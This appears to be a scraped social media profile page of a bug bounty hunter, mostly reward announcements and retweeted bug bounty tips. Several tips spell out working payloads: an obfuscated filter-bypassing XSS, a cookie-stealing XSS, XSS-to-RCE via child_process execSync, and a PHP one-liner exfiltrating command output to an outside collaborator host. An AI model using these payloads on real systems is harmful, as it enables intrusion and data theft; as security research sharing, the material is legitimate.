sahabalam @H_freaks1

just hacking Joined August 2019

Tweets

951
Followers

330
Following

5K
Likes

2K

James Kettle @albinowax

3 weeks ago

This is some really nice research! It's definitely worth trying these techniques against cryptocurrency extensions! marektoth.com/blog/dom-based…

3 53 310 19K 262

sahabalam @H_freaks1

5 months ago

Just scored a reward @intigriti, check my profile: app.intigriti.com/profile/hfreak… #HackWithIntigriti

1 0 2 86 0

sahabalam @H_freaks1

6 months ago

Just scored a reward @intigriti, check my profile: app.intigriti.com/profile/hfreak… #HackWithIntigriti

0 0 1 74 0

HackenProof @HackenProof

9 months ago

8 98 679 34K 116

Download Image

sahabalam @H_freaks1

10 months ago

Yay, I was awarded a $250 bounty on @Hacker0x01! hackerone.com/hfreak #TogetherWeHitHarder

0 0 3 140 0

bugcrowd @Bugcrowd

12 months ago

What's your favorite note taking app?

97 8 128 25K 23

Kanhaiya Sharma 🇮🇳 @krishnsec

a year ago

#bugbounty life in nutsell >>> There are many pros & cons of doing full time bb specifically related to health ‼️

5 13 159 11K 58

Download Video

HackenProof @HackenProof

a year ago

11 87 640 23K 35

Download Image

Fat @fattselimi

2 years ago

I'm not a good hacker but i open my laptop daily and i try to find web related security issues🤷‍♂️

34 42 485 43K 35

Top Microsoft IIS Thread 🧵:👇 Here is how to find IIS bugs 1) Collect a huge number of targets, subdomains, and ports and even brutforceing the targets 2) Short the IIS services nuclei-templates/fuzzing/iis-shortname.yaml #BugBounty #BugBountytips #infosec @GodfatherOrwa

4 139 330 35K 367

Tushar Verma 🇮🇳 @e11i0t_4lders0n

2 years ago

First tool added in @recon_sage by @RootxRavi Join the waitlist to get access to the new generation reconnaissance platform reconsage.com/tools/scan-gmap #bugbounty #bugbountytips #bugbountytip

4 49 162 15K 94

Download Image

N$ @nav1n0x

2 years ago

Accessing `env.json` through URL = 404 Not Found, replace URL with IP of origin server =200 OK and loads of juicly info. #bugbounty

12 133 625 36K 310

Download Image

Md Ismail Šojal 🕷️ @0x0SojalSec

2 years ago

XSS payload with Alert Obfuscation, for bypass RegEx filters :⚡️ <img src="X" onerror=top[8680439..toString(30)](1337)> #infosec #cybersec #bugbountytip #xss

1 28 125 8K 77

RootMoksha Labs @RootMoksha

2 years ago

<> : Filtered/encoded ❌ "() : bypassed ✅ Final Payload : XSS"onfocus="prompt(document.cookie)"autofocus=" and let XSS Fire :) Credit:@Amr_MustafaAA #bugbountytips #bugbounty #bugbountytip #bugbounty

4 86 283 14K 133

Download Image

VAIDIK PANDYA @h4x0r_fr34k

2 years ago

Daily Notes : Day 77 Xss to RCE ?? Example Payloads (Windows): <img src=x onerror="alert(require('child_process').execSync('calc').toString());"> Example Payloads (Linux & MacOS): <img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">…

3 53 163 12K 151

RootMoksha Labs @RootMoksha

2 years ago

OOB RCE > Unauth + Unrestricted File Upload API Uploading files possible, but paths redirect to default page, blocking direct execution. Payload: <?php system('curl burp.collabo.com -d "data=$(id)"') ?> By:@shreyasrx #bugbountytips #bugbounty #bugbountytip #bugbounty

2 32 170 8K 74

Download Image

Fares @_2os5

2 years ago

I found this config.js file leaks many api_key and client_id and secret id I tried to connect to the service using Curl, but it didn't work @GodfatherOrwa @MrTuxracer @HusseiN98D #bugbountytips